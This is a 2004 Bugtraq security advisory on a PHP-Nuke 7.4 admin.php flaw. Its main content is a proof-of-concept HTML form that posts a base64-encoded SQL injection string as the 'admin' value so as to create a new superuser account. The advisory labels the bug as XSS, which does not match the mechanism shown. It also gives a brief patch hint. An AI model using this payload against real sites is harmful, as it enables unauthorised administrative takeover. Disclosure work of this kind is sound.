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[XSS] PHP-Nuke 7.4 Remote Privilege Escalation
daemon@ATHENA.MIT.EDU (Pierquinto Manco)
Fri Sep 3 13:53:21 2004
Date: 3 Sep 2004 12:50:59 -0000
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From: Pierquinto Manco <mantra@ntj.it>
To: bugtraq@securityfocus.com
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* CODEBUG Labs
* Advisory #1
* Title: AddAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org [ITALIAN SITE]
*
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Remote Privilege Escalation
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to gain Admin access
to the system.
The bug is very old but we can bypass the patch sending data
by POST instead of GET.
- ) Proof-of-Concept
Create a HTML file with this lines:
<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>USERNAME:
<input type="text" name="add_aid">
<br>
NOME:
<input type="text" name="add_name">
<br>
PASSWORD:
<input type="text" name="add_pwd">
<br>
E-MAIL:
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
</p>
<p>
<input type="submit" name="Submit" value="Create Admin">
<br>
</p>
</form>
- ) Patch
Put in admin.php a routine to check GET and POST global array.
(maybe COOKIE too)
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